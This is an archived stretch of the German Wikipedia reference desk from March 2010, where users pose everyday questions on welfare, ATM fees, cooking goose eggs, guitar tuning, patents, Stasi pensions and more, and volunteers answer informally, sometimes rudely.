einen antrag auf grundsicherungsleistungen kann jeder beim amt stellen, der meint, dass es nich reicht... da muss man dann aber brav jeden euro einkommen angeben... dazu muss man die angeblich gesundheitsförderliche arbeit nicht aufgeben... wenn die arbeit aber (psychisch) krank macht (weil sicherheitsbestimmungen nicht eingehalten werden oder so), immer schön zum arzt und krankschreiben... --Heimschützenzentrum (?) 21:26, 24. Mär. 2010 (CET)
BK:
Das Tauschangebot ist dennoch nicht ganz klar - was bietest Du, was suchst Du? Einen besseren Job wirst Du - mit Verlaub - mit der Rechtschreibung eher nicht finden. Und was soll das Heine-Zitat - dem ging es doch um die Vereinigung Deutschlands, oder? Na, und Du scheinst ja gerade unter der zu leiden.
So wahr es sein kann, dass man unter schlechten Arbeitsbedingungen, geringem Lohn und anderer Unbill leiden kann, so falsch ist es, darunter zu leiden, dass es jemand anderem - dem schlauen Nichtstuer von nebenan - nicht schlechter geht als Dir, obwohl er es verdient hätte.
Ändern kannst Du das alles, indem Du Dir einen neuen Job suchst und oder oder dem Nachbarn einen Job vermittelst, natürlich Dir einen möglichst guten und ihm einen möglichst miesen... Viel Erfolg dabei! BerlinerSchule 21:27, 24. Mär. 2010 (CET)
Richtig, ich vergaß (aber Benutzer Heimschützenzentrum vergisst das nie): Arbeiten macht immer krank. Man sollte überhaupt nicht arbeiten, sondern gleich nachdem man die Schule geschmissen hat, sich alles vom Amt holen, auf das man dann täglich schimpft. Es gibt genug Idioten, die sowohl für echte Arbeitslose als auch für faule Säcke mit arbeiten...
Wenn Du arbeitest, bis Du erstmal auf der richtigen Seite. Einen neuen - besseren - Job zu finden, ist schwer. Aber versuchen kann man es! BerlinerSchule 21:32, 24. Mär. 2010 (CET)
arbeiten macht nicht immer krank... ich kann mir gut vorstellen, dass es dem dipl(u)-inf besser geht, wenn er erstmal wieder etliche menschen von ihrer stupiden frauenmaschinen-arbeit befreit hat... --Heimschützenzentrum (?) 21:37, 24. Mär. 2010 (CET)

AWG? Warum regst Dich dann auf, dann brauchst ja keine Miete zahlen. Bleib einfach daheim, und sauf Dir mit Sternburg die Welt schön. Und denke mal drüber nach, warum Du neidisch und sauer auf den Nachbarn, und nicht die Vertreter des Systems sind, die sicher wesentlich besser im Leben stehen. Ansonsten die ernstgemeinte Frage, warum Du nicht schon nach 2 Jahren mit der Familie nach Hamburg gezogen bist, schlechter als daheim kanns da kaum sein. Aber wer das mit 40 nicht packt, dem bleibt halt nur die Altersarmut in Dunkeldeutschland.78.50.142.82 23:24, 24. Mär. 2010 (CET)

zur Info: Auch wenn das Amt die Kosten der Miete übernimmt, also an dich oder in Ausnahmefällen auch direkt an den Vermieter überweist, bleibst du der Vertragspartner deines Vermieters und alle Rechte und Pflichten die sich aus dem Mietvertrag ergeben liegen bei dir. --Da7id 06:31, 25. Mär. 2010 (CET)

"‘Multiple exclamation marks‘", he went on, shaking his head, "‘are a sure sign of a diseased mind‘." Leetspeak#cite note-1 --Ian DuryHit me 13:29, 25. Mär. 2010 (CET)

Verständnisfrage zu einer Pressemeldung

"Wer an einem fremden Geldautomaten abhebt, soll nach den Plänen der deutschen Banken künftig eine einheitliche Gebühr zahlen. Nach dpa-Informationen soll für eine Übergangszeit ein festgesetzter Betrag als Kundengebühr gelten - eine Höhe zwischen 5 und 7 Euro gilt hierbei als möglich. Nach der Übergangszeit soll sich der Betrag am Markt bilden." (Kursive von mir) Frage: Wie? 85.180.201.217 21:34, 24. Mär. 2010 (CET)

Es geht ja um's Abheben an fremden Automaten - an denen der eigenen Bank ist es in der Regel kostenlos. Die Bank verdient also an Fremdkunden. Nimmt sie zuviel, gehen die zum Automaten der Konkurrenz. Nehmen sie zuwenig, verdienen sie nichts dran. Wenn es keine Absprachen zwischen den Banken gibt, der Wettbewerb um die Fremdkunden also funktioniert, dann bildet sich tatsächlich ein Marktpreis, bei dem die Bank genug dran verdient und der Fremdkunde nicht abgeschreckt wird. --Snevern (Mentorenprogramm) 21:41, 24. Mär. 2010 (CET)
BK:
Theoretisch so:
Jeder Bank entstehen tatsächlich Kosten, wenn Fremdkunden abheben. Aber die Kosten sind vermutlich weit niedriger als die angegebenen 5 bis 7 Euro. Nun gibt es (vereinfacht) eine Bank A, die nach dem Discounterprinzip den Preis dicht an den Kosten hält. Nehmen wir an, die Kosten betragen 2 Euro. Und die Bank A verkauft die Serviceleistung für 2,50 Euro an die Fremdkunden weiter. Vielleicht versucht sie auch ihre Kosten zu reduzieren und bei Kosten von 1,50 Euro verlangt sie nur noch 2 Euro. Die Bank B ist a bisserl arroganter, steht spät auf, denkt, dass der Kunde ohnehin oft keine Wahl hat, drückt auch die eigenen Kosten nicht, die weiterhin bei 2 Euro liegen, und stellt den Fremdkunden 5 Euro in Rechnung. Nicht alle Kunden werden sich an den Kosten orientieren, manchen ist es egal, die wollen nicht extra 500 Meter weiterlaufen oder 5 km weiterfahren, andere können es nicht (alte Leute, im Dorf...). Aber viele schauen auf den Preis und heben, immer wenn es möglich ist, vom Geldautomaten der Bank A ab und nicht von dem der Bank B. Bank A hat damit noch mehr Fremdkunden, tendentiell sinken deren Kosten (weil sie sich auf mehr zahlende Kunden verteilen), irgendwann kann Bank A den Preis auf 1,50 senken, verdient aber immer noch etwas daran, weil inzwischen sehr viele Kunden bei ihr abheben. Bei Bank B geschieht das Gegenteil. So etwa funktioniert Wirtschaft. Wenn sie funktioniert. Tatsächlich sitzen die Banker A und B (mit ihren Kumpels C und D) jetzt vielleicht schon beim Bierchen und einigen sich auf 8 Euro... Schade, dass die FDP abgeschafft wurde... BerlinerSchule 21:45, 24. Mär. 2010 (CET)
Ja, aber es soll doch am Ende eine einheitliche Gebühr herauskommen. Wenn der Markt das regelte, dann würde er es doch auch jetzt schon regeln, oder? Wieso dann der Umweg über eine temporäre Einheitsgebühr, die dann wieder abgeschafft wird (?)? Sorry, ich hab's immer noch nicht kapiert. 85.180.201.217 21:55, 24. Mär. 2010 (CET)
Wohl eher so.--MKPortal:W  21:59, 24. Mär. 2010 (CET)
Siehe dazu auch Cournot-Oligopol, der Markt kann das so nicht regeln. Nur mit steigender Anbieterzahl bewegt sich der Marktpreis in Richtung Grenzkosten. Da das aber unwahrscheinlich ist, muss sowas gesetzlich geregelt werden und zwar wie folgt, dass die Verrechnung unterhalb den Banken und der Geldautomatenbetreiber den realen Kosten entsprechen muss und es keine Strafzoelle geben darf. Dann waeren ratz fatz alle Geldautomaten wieder kostenlos.--MKPortal:W  22:06, 24. Mär. 2010 (CET)
BK:
Wenn es wirklich ein Markt ist, bleibt die Gebühr nicht dauerhaft gleich. Sie mag sich annähern, so wie ALDI und Lidl die Preise der Supermärkte runtergezogen haben, aber es wird immer Unterschiede geben. Einheitlich entweder durch Vorschrift oder durch Kartell. BerlinerSchule 22:01, 24. Mär. 2010 (CET)
Das ist ein Konkurrenzkampf gegen die billigen Direktbanken, die ebenfalls Karten herausgeben aber keine eigenen Automaten betreiben, also diese Kosten einsparen. Wohl kann man aus Kartellrechtlichen Gründen diese Karten am Automaten nicht sperren, wohl aber mit Gebühren belasten, die man aber dann generell und untereinander erheben muß. Die z.B. kostenlose Abhebung unter den Banken alleine ist als technischer Arbeitsverbund kartellrechtlich in Ordnung/genehmigt. So eiert man mit Gebühren untereinander herum, anstatt nur die Direktbankenkarteninhaber belasten zu können. Das mit dem Marktpreis ist eine Augenwischerei und ist wohl so zu verstehen dass die direkten Kosten der Automaten wohl jetzt ermittelt und auf den Kunden umgelegt werden sollen. D.h., das was mal als Rationalisierungsmaßnahme einsparend mit Verlust von Arbeitsplätzen und persönlichen Service bezahlt wurde, wird zu einem weiteren Gewinnbringer. Bank/Sparkasse müsste man sein.--91.56.212.217 08:30, 25. Mär. 2010 (CET)
@IP, das trifft den Nagel schon eher. Obwohl die Kosten ja schon klar sind, liegen so rund bei 60Cent. Finde ich witzig, dass in Deutschland jeder klagt wegen den Gartenzwergen im Garten des Nachbarn, aber wenn es um Wucher oder Sittenwidrigkeit geht, kriegen die Verbraucherschuetzer den Arsch nicht vom Hocker, nein da zementiert die Politik den Banken eine Rendite bei einer Gebühr von 4,50 Euro von 750 Prozent. Good times --MKPortal:W  13:40, 25. Mär. 2010 (CET)

[Wieder vor)Nur mal so: Ist allen klar, daß momentan die Gebühren, die ich als Kunde bei einer fremden Bank zahle, von MEINER Bank festgelegt werden? Soll dieses Konzept geändert werden? --Erastophanes 16:35, 25. Mär. 2010 (CET)

Gänseei

wie lange muss man ein Gänseei kochen? --62.226.102.71 21:48, 24. Mär. 2010 (CET)

Blond? Bis es weich wird...
Sonst bis es hart wird. BerlinerSchule 21:56, 24. Mär. 2010 (CET)
würde mich über etwas mehr iq freuen...--62.226.102.71 21:58, 24. Mär. 2010 (CET)
Nachdem ein Gänseei eher größer als ein Hühnerei ist, ist die Kochzeit wahrscheinlich länger als für ein Hühnerei. Ein Hühnerei dürfte nach allerspätestens 7 min bockelhart sein. Rechne mal mit 10 min und probier es aus. Länger kochen schadet im Prinzip nicht, es sei denn, man mag Eier nur wachsweich. Die Kochzeit dafür könntest du dann, wenn du mehrere Eier zur Verfügung hast, durch Ausprobieren rausfinden. --Sr. F 22:03, 24. Mär. 2010 (CET)
Hier steht's. Gruss, --Cú Faoil RM-RH 22:11, 24. Mär. 2010 (CET)
BK:
Also doch blond?
Aber mal im Ernst, ich würde mal in einem guten Kochbuch nachschauen (Du merkst, ich bin zwar nicht richtig dunkelhaarig, aber doch so in der Mitte, dunkelblond heißt das...). Und im Notfall probieren, vielleicht doppelt so lange wie ein Hühnerei? Die Frage ist aber schon a weng blond, weil ja bei Hühnereiern feste Größenkategorien existieren, während Du hier einfach ein Gänseei aufschlägst, ohne die Größe anzugeben... 140 Gramm? 150? 160? BerlinerSchule 22:14, 24. Mär. 2010 (CET)
Es geht wohl nicht nur um Größe und Gewicht, sondern auch um die Dicke der Schale. Erfahrungsberichte, die man recht mühelos ergooglen kann, reichen von "9 Minuten" über "exakt 12 Minuten mit 10 Sekunden abschrecken" bis hin zu "15 Minuten" - wohlgemerkt immer für ein weichgekochtes Ei.
Kleiner Tipp am Rande: es soll ein wenig streng schmecken - nicht unbedingt für jeden empfehlenswert. --Snevern (Mentorenprogramm) 22:16, 24. Mär. 2010 (CET)
das is so 'ne sache mit dem probieren...hab nämlich nur ein ei...übrigens hab ich gehört dass man eier ohnehin nicht abschrecken braucht, weiss nicht mehr wie es begründet wurde, und ich schreck sie auch nicht ab...--62.226.102.71 22:23, 24. Mär. 2010 (CET)
Das ist aber irgendwie abschreckend. --84.191.38.226 22:55, 24. Mär. 2010 (CET)
Wie wär's mit Rühr- oder Spiegelei? Siehste viel besser ob es fertig ist. --88.130.185.126 22:57, 24. Mär. 2010 (CET)
Mit dem Abschrecken ist es wie bei anderen Lebensmitteln: ohne Abschrecken gart es noch ein bisschen weiter. Und das gilt beim Ei natürlich besonders, wegen der idealen Form. Und je größer das Ei ist, desto länger gart es auch noch, wenn man es aus dem kochenden Wasser schon rausgenommen hat. Ob man es abschrecken will, weil es sich dann leichter pellen lässt, ist eine andere Frage. Übrigens würde ich auch, wenn es nur ein Ei ist, auf Nummer Sicher gehen und Rührei draus machen. Musik dazu: Yesterday... BerlinerSchule 23:08, 24. Mär. 2010 (CET)
Genau. 12 - 15 Min. ist auch meine Erfahrung. --Ch.Weg 00:52, 25. Mär. 2010 (CET)
Gut durchkochen, Eier von Wassergeflügel sind häufig mit Salmonellen belastet, meines Wissens in Deutschland daher auch nicht verkehrsfähig. -- Uwe G. ¿⇔? RM 16:19, 25. Mär. 2010 (CET)
Doch, doch. Gänseeier und Enteneier werden in Deutschland schon gehandelt (legal). Halt nur ziemlich selten. Der Preis von Gänseeiern scheint so um 1 bis 2 Euro zu liegen. Rainer Z ... 18:49, 25. Mär. 2010 (CET)

Frage nach einer Familie Wolff von Lith

Diese Anfrage aus den Niederlanden erreichte soeben das Support-Team. Ich gebe sie hier leicht anonymisiert und verändert wieder:

Von:  	
"xxx" <xxx@onsmail.nl>
An: 	
<info-de@wikimedia.org>
Betreff: 	
xxx/Wolff von Lith.
Erstellt: 	
25.03.2010 08:34:24
Anlage: 	
HTML-Attachment 	Herunterladen 	754 Bytes
Guten Morgen allerzeits.
Vergebt mir wenn das Deutsch nicht so gut ist. Ich habe eine Frage: Ist es möglich dasz
sie eine Antwort darauf haben, ob es damals im Kreis Rödingen
eine Adelsfamilie Wolff von Lith gab?
Im voraus herzlichen Dank   Grüsze aus dem sonnige Holland    xxx xxx

Ich habe den Absender auf diese Seite aufmerksam gemacht. --Schlesinger schreib! 09:50, 25. Mär. 2010 (CET)

Evtl. ist dieser Link http://www.genealogy.net hilfreich. --Gwexter 10:05, 25. Mär. 2010 (CET)
  • Der Kollege sollte sich in der kostenlosen (und freundlichen) Westfalen-Genealogie-Liste] anmelden und dort seine Frage stellen (Der Text dieser Seite kann auch in Niederländisch angezeigt werden). Wegen der häufigen Grenzübergänge lesen dort auch zweispachige Niederländer mit. Viel Erfolg!
  • [Übergooglung:] De collega's mogen zich registreren in de vrije (en leuke) Westfalen Genealogie Lijst] en dan hun vraag stellen. (De tekst van deze pagina kan worden weergegeven in het Nederlands). Door frequente grensovergangen lezen er ook tweetalige Nederlanders mee. Wij wensen u veel succes! G! GG nil nisi bene 10:41, 25. Mär. 2010 (CET)
Es fiele mir nicht ein, deine Weisheit in genealogischen Fragen in Zweifel zu ziehen, aber wenn dieses Rödingen gemeint ist, liegt das im Kreis Düren und also eher weniger in Westfalen, sondern zwischen Aachen und Köln. Ist da nicht eine andere Genealogy-Liste zuständig? Joyborg 10:57, 25. Mär. 2010 (CET) PS: Siehe auch hier.
Ja, ja, nee, nee! <= Das wollte ich immer schon mal schreiben! Die frühere Rheinprovinz wird in der Westfalen-Liste mitgemacht. "Van Lith" habe ich gefunden und wenn ich an einen Ursprung aus den Niederlanden denken, erscheint mir "Adel" nicht unbedingt zwingend. Die Dame, die die Westfalen-Liste administriert ist ein Schatz! G! GG nil nisi bene 11:52, 25. Mär. 2010 (CET)
Ich hab jetzt die Übergooglung ein bisschen korrigiert. --MannMaus 12:58, 25. Mär. 2010 (CET)
Hartelijk dank, ManMuis ! G! GG nil nisi bene 13:38, 25. Mär. 2010 (CET)
Gragg gedaan, grijze oude zak. --MannMaus 17:20, 25. Mär. 2010 (CET)

D-down beim Gitarrespielen

Ich habe gehört, dass man die Saite "D" auf "E" runterstimmt, kann man den Ton einfacher greifen. Das ganze heißt "D-down". Wo finde ich einen Artikel dazu bei Wikipedia? Die deutsche und englische Wikip.-Ausgabe hat nichts dazu, vielleicht ist es ein einfacherer Artikel. D-down müßte evtl. auch mal bei den fehlenden Artikel im Portal Musik auftauchen. Die nächste Frage ist, wieso ist das so (andere Akkorde)? --217.228.123.235 10:25, 25. Mär. 2010 (CET)

Dazu steht hier etwas: Offene Stimmung und Dropped-D-Stimmung. --91.36.97.190 10:28, 25. Mär. 2010 (CET)
D-down als redirect zu Dropped-D-Stimmung eingerichtet. Gruß -- Dr.cueppers - Disk. 13:44, 25. Mär. 2010 (CET)
... Mal abgesehen davon, dass man die tiefe „E”-Seite auf „D“ runterstimmt... Also nicht „von D runter“ sondern „nach D runter“ --> D-down. --Taxman¿Disk? 19:16, 25. Mär. 2010 (CET)

Kosovo beim Eurovision Song Contest

Hallo, wann wird das Kosovo beim Eurovision Song Contest teilnehmen? Das kosovo hat seit 2 jahren die unabhängigkeit ausgefrufen daher sollte es doch vom EBU anerkannt werden oder sehe ich das falsch? --85.180.198.89 14:28, 25. Mär. 2010 (CET)

Musst Du die EBU fragen, nicht die Wikipedia-Auskunft. --20% 14:32, 25. Mär. 2010 (CET)
WoW, sollche wie dich wünsche ich sowas von bei der Wikipedia (Ironie), dich sollte man sperren!!! Wikipedia wird immer besser!!! --85.180.198.89 14:35, 25. Mär. 2010 (CET)
Könnte man vielleicht auch so beantworten: So lange keine Sendeanstalt aus dem Kosovo Mitglied bei EBU geworden ist können diese auch nicht am Contest teilnehmen. Siehe Liste Stand: 2009 Aktive Mitgliederliste --Nur Leser 14:48, 25. Mär. 2010 (CET)
Was erwartest du dir für eine Antwort? Ok, wenn es schon einen Plan gäbe, würde sich vielleicht jemand finden, der ihn kennt und dir weiterhelfen kann. Wenn es keinen solchen Plan gibt, wird dir keiner eine Antwort auf deine erste Frage geben können. Und "daher sollte es doch vom EBU anerkannt werden oder sehe ich das falsch?" ist keine Wissensfrage, sondern allerhöchstens eine Diskussionsgrundlage. Und für Diskussionen ist diese Seite nicht gedacht. --Eike 14:52, 25. Mär. 2010 (CET) PS: Die Einrückung zeigt, auf wen man antwortet, daher hier absichtlich dieselbe wie bei Nur Leser, da ich nicht auf ihn, sondern auf 85.180.198.89 reagiere.

Was ist eine Gastrolle beim Film?

In manchen Filmen wird im Vor- oder Abspann die Rolle des Schauspieles xxxx als "Gaststar" bezeichnet.. Nur macht das im Film doch keinen Sinn, weil ein Film doch sowieso nur einmal besetzt wird und das Casting somit feststeht? Wenn in einer Fernsehserie ein Gaststar auftritt, kann ich seine spezielle Vorstellung verstehen, aber beim Film..?! Weiß jemand, was es damit auf sich hat? Bedeutet das, xxxx kam während der Dreharbeiten zufällig vorbei und wurde irgendwie eingearbeitet? Gruß, Holstenbär 15:26, 25. Mär. 2010 (CET)

Ich vermute mal, das es sich dabei um Pilotfilme oder dergleichen handelt, ansonsten würde es nämlich wirklich keinen Sinn machen --91.115.182.225 15:34, 25. Mär. 2010 (CET)
Gastrolle heißt "starring as himself", d.h. der Schauspieler spielt sich selbst, keinen fiktiven Charakter. --20% 15:37, 25. Mär. 2010 (CET)
das wiederum macht Sinn--91.115.182.225 15:39, 25. Mär. 2010 (CET)
das sind dann meistens bands oder etwas in der art. grüße, --itsnotuitsme d | b 15:46, 25. Mär. 2010 (CET)
Gastrolle muss keineswegs "starring as himself" heißen. Und es gibt Gastrollen auch nicht nur in Pilotfilmen. Ein Schauspieler hat in einer Filmproduktion eine Gastrolle, wenn er nicht zum regulären, im Rahmen des Castings zusammengestellten Schauspielerensembles gehört. Das kann tatsächlich ein "zufälliger Besucher" sein (zufällig ist hier deeeeehnbar), ein besonders namhafter Schauspieler, der den Wert einer kleinen Produktion erhöhen soll, ein Cameo (starring as himself) oder dergleichen. Es muss auch gar nicht wirklich ein (berufsmäßiger) Schauspieler sein: Ken Follett spielte in der Verfilmung eines seiner Romane eine Gastrolle (und zwar keineswegs sich selbst): [17]. Gruß Snevern (Mentorenprogramm) 16:00, 25. Mär. 2010 (CET)
Ich wollte gerade sagen: Wenn der Schauspieler größer ist als die Rolle oder umgekehrt der Film kleiner als der Schauspieler. Julia Roberts wäre in einem Dokumentarfilm über Bielefeld ein Gaststar... BerlinerSchule 16:14, 25. Mär. 2010 (CET)
Eine Gastrolle ist im Mainstream auf eine Szene begrenzt, trägt nichts wesentliches zur Handlung bei. Sozusagen ein prominenter Komparse, der aber nicht Schauspieler sein muß, das kann auch ein Politker oder sonst wer ein Promi sein. Die Bezahlung ist auch mehr symbolisch. Bei Serien, da kann die Handlung schon mehr sein, ist aber auf eine Episode beschränkt. Und natürlich gibt es Mischformen. Der Begriff dient der Imagepflege, weil niemand so eine Pipirolle als Aushängeschild gewertet haben will. Aber was tut man nicht alles um bekannt zu bleiben, bevor man doch bei Tesafilm landet...--91.56.213.32 16:42, 25. Mär. 2010 (CET)
Ach ja, Julia Roberts. Die hat sich ja quasi in Notting Hill selbst gespielt. Interessant war aber die Konstellation in einem der "Ocean ..."-Filme. Da hat sie eine Frau gespielt, die sich als Julia Roberts ausgibt. Das war aber wohl keine Gastrolle, da Julia Roberts zum "Team" der Filmserie gehörte. --Rabe! 16:30, 25. Mär. 2010 (CET)
Einem/r Schauspieler(in) wird eine "Gastrolle" angeboten, wenn er/sie - vom Ruf her - "eigentlich" nur für eine Hauptrolle in Frage käme, aber er/sie nur kurz bzw. in einer Nebenrolle auftritt. Vorteil für ihn/sie: Bringt sich in Erinnerung mit gesonderter Nennung (erscheint nicht im Abspann an 17. Stelle). Vorteil für den Produzenten: Aufwertung des Stückes ohne große Gagenaufwendung. Gruß -- Dr.cueppers - Disk. 16:57, 25. Mär. 2010 (CET)
Als inhaltliche Ergänzung: Ich entsinne mich dunkel, daß es auch Politiker gibt, die in Filmen in Gastrollen aufgetreten sind. --84.191.60.120 17:50, 25. Mär. 2010 (CET) sry, wurde oben schon angemerkt. --84.191.60.120 17:52, 25. Mär. 2010 (CET)

Frechheit siegt

Heute ist mir der alte Spruch wieder eingefallen, obwohl ich kein Vertreter dessen bin, aber woher kommt dieser Schmarrn, Christlich ist es sicher nicht --91.115.182.225 17:08, 25. Mär. 2010 (CET)

Es ist eine andere Art, "Wer wagt, gewinnt" zu sagen: frech bedeutet hier nicht respektlos, sondern mutig, denn das ist die ursprüngliche Bedeutung des Wortes. --Snevern (Mentorenprogramm) 17:19, 25. Mär. 2010 (CET)
wenn du mir sagst, dass jeder so einen Kleinen Einsager wie dich im Ohr hat, dann lass ich es gelten, ich kenn es des öftern als die respektlose Variante --91.115.182.225 17:20, 25. Mär. 2010 (CET)
Ja, gehst Du denn mit geschlossenen Augen durchs Leben? Das ist eine Volksweisheit, die auf Beobachtung und Erfahrung gründet und sich kernig mitteilt. Das ist beileibe nicht Grundmaxieme einer Lehre und steht auch nicht zur intellektuellen Diskussion. Auf Sonne folgt Regen ... --Dansker 17:31, 25. Mär. 2010 (CET)
hm, Volksweisheit kann ich verstehen, und Sonne/Regen auch, aber willst du mir erklären das man in der Weisheit des Volkes festgestellt hat, das Frechheit (ohne Mut/ einfach pur) des öfteren den Sieg hinweg getragen hat - das passt besser auf ein Gaunerjargon --91.115.182.225 17:39, 25. Mär. 2010 (CET)
Hej 91115182225, hast Du den Link Volksweisheit gelesen und das, was Snevern schrieb? Durch Experimentierfreude und Wagemut ist die Menschheit an neue Ufer gelangt, nicht durch Bedenkenträger und Feiglinge. Aber "Steter Tropfen höhlt den Stein" ist auch eine Volksweisheit. Wo willst Du auf so weichem Boden den Hebel Deiner Argumente ansetzen? Wie gesagt: Das ist kein Gebiet für feingliedrige Diskussionen. Eine Krähe hackt der anderen kein Auge aus / Der Mensch ist des Menschen Wolf --Dansker 17:55, 25. Mär. 2010 (CET)
jetzt hab ich es verstanden, ab und zu muss es nicht OMA-tauglich sondern Deppen-sicher sein, es handelt sich dabei also um eine plumpe Volksweisheit welchen keinen Wahrheitsanspruch beinhaltet/beansprucht sondern eine Art von Ermutigung für Schüchterne sein soll - hätte ja auch sein können, das es ähnlich wie der Fürst von Niccolò Machiavelli ein Verhaltensregel-Buch für Diebe gibt --91.115.182.225 18:14, 25. Mär. 2010 (CET)
+1 Und Rotwelsch (s. auch Gerold Edlibach) ist etwas völlig anderes als eine Volksweisheit oder Redensart. --84.191.60.120 18:10, 25. Mär. 2010 (CET)

Fahrer von Helmut Kohl

Anlässlich des sich nähernden Geburtstages von Kohl häufen sich die Berichte über ihn und sein Umfeld. Darin war auch zu lesen, dass sein Fahrer Ecki Seeber ihn über 40 Jahre lang als Fahrer begleitet hat. Mich würde in diesem Zusammenhang einzig interessieren (Polemiken und sonstiges über den Jubilar könnt ihr euch sparen), bei wem dieser Fahrer angestellt war - war er ein Angestellter von Kohl, der Polizei, des Landes/Bundes? Freue mich über Kommentare und Antworten, die mit dem Thema zu tun haben und/oder von Fachkenntnis zeugen. Danke! --84.164.90.63 19:43, 25. Mär. 2010 (CET)

Er war zuerst bei Kohl selbst beschäftigt, dann beim Land Rheinland-Pfalz, später beim Kanzleramt. Seine Dienstherren wechselten je nach Karriereentwicklung seines Passagiers. --Snevern (Mentorenprogramm) 19:50, 25. Mär. 2010 (CET)
steht auch hier, sein Chef war dann der Kanzleramtsminister und heutige Innenminister. Sein erster Arbeitsgeber war offenbar Udo Giulini. Ecki (mein Namensvetter;-) ist aber nun im Ruhestand, vgl [18]----Zaphiro Ansprache? 19:54, 25. Mär. 2010 (CET)
Giulini war der Arbeitgeber, bevor er Kohl fuhr. --Snevern (Mentorenprogramm) 20:09, 25. Mär. 2010 (CET)
so meinte ich es auch, er wurde aber von ihn an Kohl „ausgeliehen“ ;-)----Zaphiro Ansprache? 20:12, 25. Mär. 2010 (CET)

Was genau prüft das Patentamt vor einer Patenterteilung?

Anlässlich einer Löschdiskussion, in der eine Patenterteilung als Relevanznachweis angeführt wird, habe ich die o.g. Frage. Mein Eindruck aus der Vergangenheit: die prüfen, ob es grundsätzlich funktionieren kann und ob keine bestehenden Patente verletzt werden. Nicht geprüft wird, ob die Erfindung tatsächlich wirtschaftlich verwertbar ist. Kann jemand mit Fachkenntnis meine Vermutung bestätigen oder widerlegen? --93.211.12.9 20:04, 25. Mär. 2010 (CET)

§ 5 Patentgesetz: "Eine Erfindung gilt als gewerblich anwendbar, wenn ihr Gegenstand auf irgendeinem gewerblichen Gebiet einschließlich der Landwirtschaft hergestellt oder benutzt werden kann."
Das muss also zumindest theoretisch möglich sein, damit ein Patent erteilt werden kann, und wird in diesem (bescheidenen) Umfang vom Patentamt auch geprüft.
Ob man damit Geld verdienen kann, spielt dagegen keine Rolle. --Snevern (Mentorenprogramm) 20:22, 25. Mär. 2010 (CET)
wenn es auf irgendeinem gebiet hergestellt werden kann - also außer dinge wie einem perpetuum mobile dürfte das auf das meiste zutreffen oder? ...Sicherlich Post 20:27, 25. Mär. 2010 (CET)
...einem gewerblichen Gebiet. Und ohne Zweifel würde das auf ein perpetuum mobile selbstverständlich auch zutreffen. --Snevern (Mentorenprogramm) 20:43, 25. Mär. 2010 (CET)
(nach BK) Das ist interessant: ein perpetuum mobile ist also nach deutschem Recht patentierbar? Und herstellbar bedeutet nicht, daß es funktioniert wie vorgesehen? --93.211.12.9 21:01, 25. Mär. 2010 (CET)
Es sind auch schon Sachen patentiert worden, die gar nicht funktionieren können. -- Martin Vogel 20:58, 25. Mär. 2010 (CET)
Das perpetuum mobile wäre patentierbar, wenn es erfunden würde, ja - warum auch nicht?
Hast du ein Beispiel für ein Patent auf eine Erfindung, die nicht funktionieren kann, Martin? --Snevern (Mentorenprogramm) 22:27, 25. Mär. 2010 (CET)
In der Darmstädter Patentauslegestelle habe ich mal beim Herumstöbern ein erteiltes Patent gefunden für eine große Gipsspritze (wie eine Sahnespritze zum Torten verzieren); das stammte noch aus der Zeit, als man mit Gipsdübeln arbeitete: Im Zeitraum, bis man die fertig gefüllt hatte oder spätestens nach Anwendung am zweiten Bohrloch war die Spritze samt restlichem versteinerten Inhalt nur noch zum Wegwerfen geeignet. Gruß -- Dr.cueppers - Disk. 23:01, 25. Mär. 2010 (CET)
Ein Perpetuum Mobile ist nicht patentierbar, und zwar darum, weil die meisten patentrechtlichen Gesetze eine solche Patentierung explizit ausschliessen. Mehr dazu unter Perpetuum Mobile#Trivia. Gruss, --Cú Faoil RM-RH 01:48, 26. Mär. 2010 (CET)

Unrechtsrente?

Bekommen hauptamtliche Stasimitarbeiter, oder z.B. Volkskammermitglieder eine Rente/Pension gemäß ihres Gehaltes in der BRD ? --77.2.129.173 21:32, 25. Mär. 2010 (CET)

wenn nicht von gerade von Mac Donalds gibt es zumindest Rentenkürzungen, Zitat daraus: "Die ehemaligen Mitarbeiter der Stasi erhalten seit der Wiedervereinigung nur eine gekürzte Rente, die der Durchschnittsrente eines DDR-Arbeitnehmers entsprach. "----Zaphiro Ansprache? 23:23, 25. Mär. 2010 (CET)

Vererbbare Genmanipulation

Wenn ich per Genmanipulation die Augenfarbe meines Kindes ändere. Vererbt dieses dann seine Augenfarbe an seine Nachkommen weiter? --85.181.216.8 21:57, 25. Mär. 2010 (CET)

Erst mal musst du mir erklären, wie du per Genmanipulation die Augenfarbe deines Kindes ändern kannst. Soweit ich weiß, geht das nämlich gar nicht. --Sr. F 22:08, 25. Mär. 2010 (CET)
Wir nehmen einfach an das ginge. So wie bei Fruchtfliegen. --85.181.216.8 22:11, 25. Mär. 2010 (CET)
Aber:
Wenn die Gene in den entsprechenden Augenzellen manipuliert werden, ändert sich zwar deren Farbe, aber es erfolgt keine Vererbung.
Wenn die Gene in den Keimzellen entsprechend verändert werden, ändert sich die Augenfarbe des Kindes nicht, aber die der Nachkommen.
Gruß -- Dr.cueppers - Disk. 22:13, 25. Mär. 2010 (CET)
Thx. Dann nehmen wir doch die dunkelhaarigen Kinder. --85.181.216.8 23:40, 25. Mär. 2010 (CET)
Siehe auch Keimbahntherapie. Gruss, --Cú Faoil RM-RH 01:49, 26. Mär. 2010 (CET)

Warum zieht Robben das Trikot aus ?

Welche Bedeutung hat es, dass ein Fussballspieler nach einem Tor sein Trikot auszieht ? A. Robben hatte ja wirklich allen Grund nach seinem großartigen Alleingang an der rechten Aussenlinie mit dem anschließenden entscheidenen Tor zu Jubeln, aber welche Symbolik steht hinter dem Ausziehen des Trikots ? Bei Zeigen seines athletischen nackten Oberkörpers (Neid) könnte ich ja noch das männliche Imponiergehabe verstehen, aber er hatte ja eh noch ein T-Shirt darunter an, man (Frau) konnte seinen muskulösen Waschbrettbauch ja gar nicht bewundern. Also welche so wichtige Bedeutung hat das Ausziehen des Trikots, dass ein Spieler dafür sogar eine gelbe Karte riskiert ? StephanPsy 07:40, 25. Mär. 2010 (CET)

